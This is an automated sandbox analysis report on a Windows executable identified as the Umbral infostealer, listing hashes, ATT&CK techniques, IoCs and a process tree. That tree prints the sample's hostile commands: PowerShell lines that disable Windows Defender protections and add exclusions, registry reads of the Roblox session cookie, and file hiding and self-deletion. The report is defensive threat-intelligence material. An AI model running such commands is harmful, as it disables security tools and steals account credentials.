umbral | d0e0881cc1edb247c39628fbcaec00fae6ec3617bde0869538aed888f4e6a63a

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
27-01-2025 18:56

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General

Target

load.exe
Size

17.8MB
MD5

86d4579d1dbfd7be291f5d198d805398
SHA1

8636bb288af7549f10d50eba8f8a4489ffee4222
SHA256

d0e0881cc1edb247c39628fbcaec00fae6ec3617bde0869538aed888f4e6a63a
SHA512

0ae111f7761778429b6e93ecbd4547a3280c52dfba781c42cf37e046cfe440d69d49a3caa8d3a58f6013b644e80e908fdbd7415340b764f6a4900806aceb877c
SSDEEP

393216:YQsUy4Ln/msXQDkaxfqTJ9h7yXVHM5dzI2UeHqrCMMDcbiK3:nsun/3GTxW9h7G5M7z2eHqeMMDcWK3

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023bb0-6.dat	family_umbral
behavioral2/memory/4348-15-0x0000020C4CD00000-0x0000020C4CD40000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3132	powershell.exe
3260	powershell.exe
4000	powershell.exe
1612	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Slinky_Dependences.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	load.exe

Executes dropped EXE 2 IoCs

pid	Process
4348	Slinky_Dependences.exe
4444	load.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
696	cmd.exe
2256	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1312	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2256	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4348	Slinky_Dependences.exe
3132	powershell.exe
3132	powershell.exe
3260	powershell.exe
3260	powershell.exe
4000	powershell.exe
4000	powershell.exe
3424	powershell.exe
3424	powershell.exe
1612	powershell.exe
1612	powershell.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe
4444	load.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4348	Slinky_Dependences.exe
Token: SeIncreaseQuotaPrivilege	1936	wmic.exe
Token: SeSecurityPrivilege	1936	wmic.exe
Token: SeTakeOwnershipPrivilege	1936	wmic.exe
Token: SeLoadDriverPrivilege	1936	wmic.exe
Token: SeSystemProfilePrivilege	1936	wmic.exe
Token: SeSystemtimePrivilege	1936	wmic.exe
Token: SeProfSingleProcessPrivilege	1936	wmic.exe
Token: SeIncBasePriorityPrivilege	1936	wmic.exe
Token: SeCreatePagefilePrivilege	1936	wmic.exe
Token: SeBackupPrivilege	1936	wmic.exe
Token: SeRestorePrivilege	1936	wmic.exe
Token: SeShutdownPrivilege	1936	wmic.exe
Token: SeDebugPrivilege	1936	wmic.exe
Token: SeSystemEnvironmentPrivilege	1936	wmic.exe
Token: SeRemoteShutdownPrivilege	1936	wmic.exe
Token: SeUndockPrivilege	1936	wmic.exe
Token: SeManageVolumePrivilege	1936	wmic.exe
Token: 33	1936	wmic.exe
Token: 34	1936	wmic.exe
Token: 35	1936	wmic.exe
Token: 36	1936	wmic.exe
Token: SeIncreaseQuotaPrivilege	1936	wmic.exe
Token: SeSecurityPrivilege	1936	wmic.exe
Token: SeTakeOwnershipPrivilege	1936	wmic.exe
Token: SeLoadDriverPrivilege	1936	wmic.exe
Token: SeSystemProfilePrivilege	1936	wmic.exe
Token: SeSystemtimePrivilege	1936	wmic.exe
Token: SeProfSingleProcessPrivilege	1936	wmic.exe
Token: SeIncBasePriorityPrivilege	1936	wmic.exe
Token: SeCreatePagefilePrivilege	1936	wmic.exe
Token: SeBackupPrivilege	1936	wmic.exe
Token: SeRestorePrivilege	1936	wmic.exe
Token: SeShutdownPrivilege	1936	wmic.exe
Token: SeDebugPrivilege	1936	wmic.exe
Token: SeSystemEnvironmentPrivilege	1936	wmic.exe
Token: SeRemoteShutdownPrivilege	1936	wmic.exe
Token: SeUndockPrivilege	1936	wmic.exe
Token: SeManageVolumePrivilege	1936	wmic.exe
Token: 33	1936	wmic.exe
Token: 34	1936	wmic.exe
Token: 35	1936	wmic.exe
Token: 36	1936	wmic.exe
Token: SeDebugPrivilege	3132	powershell.exe
Token: SeDebugPrivilege	3260	powershell.exe
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	3424	powershell.exe
Token: SeIncreaseQuotaPrivilege	2156	wmic.exe
Token: SeSecurityPrivilege	2156	wmic.exe
Token: SeTakeOwnershipPrivilege	2156	wmic.exe
Token: SeLoadDriverPrivilege	2156	wmic.exe
Token: SeSystemProfilePrivilege	2156	wmic.exe
Token: SeSystemtimePrivilege	2156	wmic.exe
Token: SeProfSingleProcessPrivilege	2156	wmic.exe
Token: SeIncBasePriorityPrivilege	2156	wmic.exe
Token: SeCreatePagefilePrivilege	2156	wmic.exe
Token: SeBackupPrivilege	2156	wmic.exe
Token: SeRestorePrivilege	2156	wmic.exe
Token: SeShutdownPrivilege	2156	wmic.exe
Token: SeDebugPrivilege	2156	wmic.exe
Token: SeSystemEnvironmentPrivilege	2156	wmic.exe
Token: SeRemoteShutdownPrivilege	2156	wmic.exe
Token: SeUndockPrivilege	2156	wmic.exe
Token: SeManageVolumePrivilege	2156	wmic.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 3664 wrote to memory of 4348	3664	load.exe	82
PID 3664 wrote to memory of 4348	3664	load.exe	82
PID 4348 wrote to memory of 1936	4348	Slinky_Dependences.exe	85
PID 4348 wrote to memory of 1936	4348	Slinky_Dependences.exe	85
PID 4348 wrote to memory of 4036	4348	Slinky_Dependences.exe	88
PID 4348 wrote to memory of 4036	4348	Slinky_Dependences.exe	88
PID 4348 wrote to memory of 3132	4348	Slinky_Dependences.exe	90
PID 4348 wrote to memory of 3132	4348	Slinky_Dependences.exe	90
PID 4348 wrote to memory of 3260	4348	Slinky_Dependences.exe	92
PID 4348 wrote to memory of 3260	4348	Slinky_Dependences.exe	92
PID 4348 wrote to memory of 4000	4348	Slinky_Dependences.exe	94
PID 4348 wrote to memory of 4000	4348	Slinky_Dependences.exe	94
PID 4348 wrote to memory of 3424	4348	Slinky_Dependences.exe	96
PID 4348 wrote to memory of 3424	4348	Slinky_Dependences.exe	96
PID 4348 wrote to memory of 2156	4348	Slinky_Dependences.exe	98
PID 4348 wrote to memory of 2156	4348	Slinky_Dependences.exe	98
PID 4348 wrote to memory of 1860	4348	Slinky_Dependences.exe	100
PID 4348 wrote to memory of 1860	4348	Slinky_Dependences.exe	100
PID 4348 wrote to memory of 2376	4348	Slinky_Dependences.exe	102
PID 4348 wrote to memory of 2376	4348	Slinky_Dependences.exe	102
PID 4348 wrote to memory of 1612	4348	Slinky_Dependences.exe	104
PID 4348 wrote to memory of 1612	4348	Slinky_Dependences.exe	104
PID 4348 wrote to memory of 1312	4348	Slinky_Dependences.exe	106
PID 4348 wrote to memory of 1312	4348	Slinky_Dependences.exe	106
PID 4348 wrote to memory of 696	4348	Slinky_Dependences.exe	108
PID 4348 wrote to memory of 696	4348	Slinky_Dependences.exe	108
PID 696 wrote to memory of 2256	696	cmd.exe	110
PID 696 wrote to memory of 2256	696	cmd.exe	110
PID 3664 wrote to memory of 4444	3664	load.exe	111
PID 3664 wrote to memory of 4444	3664	load.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4036	attrib.exe

C:\Users\Admin\AppData\Local\Temp\load.exe
"C:\Users\Admin\AppData\Local\Temp\load.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3664
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\Slinky_Dependences.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Slinky_Dependences.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1936
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Slinky_Dependences.exe"
    3⤵
    - Views/modifies file attributes
    PID:4036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\Slinky_Dependences.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3424
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2156
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:1860
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1612
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1312
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Slinky_Dependences.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:696
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2256
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\load.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\load.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:4444

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
1b764e47cfc313bc87166a2dc43501ff

SHA1
d69386e554b04d33ecf6b6f1fddbfe94c231ffd2

SHA256
f7031c5b07f310c536f68ce71c7d6929b03ef89f04f0529c4c0b551e02826be9

SHA512
db29de693b6e59105095628b8340830ebfec68eb78d3e561392a57f2e51c8e59179ad11dbf5632b2ac066af63045aa4583d6cc4d0370921dbbbff27c62a39216

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ac057a92f4b62d8880169af0693ef5b2

SHA1
66e7c7834c5dae5cec863ccd69403150d05841f4

SHA256
7cef55990e8e6cfe07e1965b303e79ac562cdc128ab82edf480d9873f72bb3ed

SHA512
d525f47da9e61fc87e55aca6b34e776be3ed081b719bbbb5256705a6afe5fdd4c16d5ee595af13994e2718f789f5fd32830331347d97b029c031c9dfe30c7f49

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Slinky_Dependences.exe

Filesize
229KB

MD5
f8286606b9be55be61dc21f3c8684bce

SHA1
d5768631ef573e5532e39820744ec3948cba0188

SHA256
069ec421fc87771c32dbbda60b242fde015a5a9492da07357edfbef984de1dd7

SHA512
1d14fd7a2435d7be4a12b6cde7eba6d06a388384ed9dd4227988a048912f44d2e932d9ea0c4794414ace615998224cb28d6c299c4dae4b0471381e101ac6c6a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\load.exe

Filesize
18.4MB

MD5
38019371c7cfc54d0c08629da0384a1f

SHA1
87509b8aa5549f22b53362588c624b010cfa5b26

SHA256
d4f6bfde46ea2394570619fa89f8cdc8ac00b297179fe8831558530ec48492f1

SHA512
75f204fa1be253a68678ec7a6637a8db1b02346fb429365500427e493fd0c2b2d2b24a4ae30de3f777c239af507c141f979b6012c8b394f663d073f2850d682d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ys1gl1r1.a3j.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3132-22-0x000001947E260000-0x000001947E282000-memory.dmp

Filesize
136KB

Download
memory/4348-44-0x0000020C67410000-0x0000020C67460000-memory.dmp

Filesize
320KB

Download
memory/4348-45-0x0000020C67160000-0x0000020C6717E000-memory.dmp

Filesize
120KB

Download
memory/4348-43-0x0000020C67490000-0x0000020C67506000-memory.dmp

Filesize
472KB

Download
memory/4348-16-0x00007FF9430B0000-0x00007FF943B71000-memory.dmp

Filesize
10.8MB

Download
memory/4348-83-0x0000020C67610000-0x0000020C67622000-memory.dmp

Filesize
72KB

Download
memory/4348-82-0x0000020C671B0000-0x0000020C671BA000-memory.dmp

Filesize
40KB

Download
memory/4348-15-0x0000020C4CD00000-0x0000020C4CD40000-memory.dmp

Filesize
256KB

Download
memory/4348-103-0x00007FF9430B0000-0x00007FF943B71000-memory.dmp

Filesize
10.8MB

Download
memory/4348-14-0x00007FF9430B3000-0x00007FF9430B5000-memory.dmp

Filesize
8KB

Download